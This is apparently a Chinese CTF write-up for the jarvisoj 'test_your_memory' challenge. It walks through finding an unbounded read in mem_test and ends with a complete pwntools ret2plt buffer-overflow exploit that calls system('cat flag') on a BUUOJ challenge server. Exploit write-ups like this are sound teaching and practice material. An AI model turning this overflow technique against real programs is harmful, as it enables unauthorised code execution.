jarvisoj_test_your_memory
步骤:
- 例行检查,32位程序,开启了nx保护
- 试运行一下程序,看看大概的情况
- 32位ida打开,习惯性的检索程序里的字符串,看到了有关flag的提示,
双击跟进,找到了这个字符串的地址,
- 从main函数开始看程序
mem_test函数
没有限制长度的读入,存在溢出漏洞,由于之前检索字符串的时候发现程序里调用了system函数,可以直接利用,可以覆盖ret为system函数,去执行system(‘cat flag’)读出flag
完整exp:
from pwn import *
r =remote('node3.buuoj.cn',25283)
system_plt = 0x8048440
cat_flag = 0x80487e0
payload = 'a' * (0x13+4) + p32(system_plt) + p32(0x8048677) + p32(cat_flag)
r.sendline(payload)
r.interactive()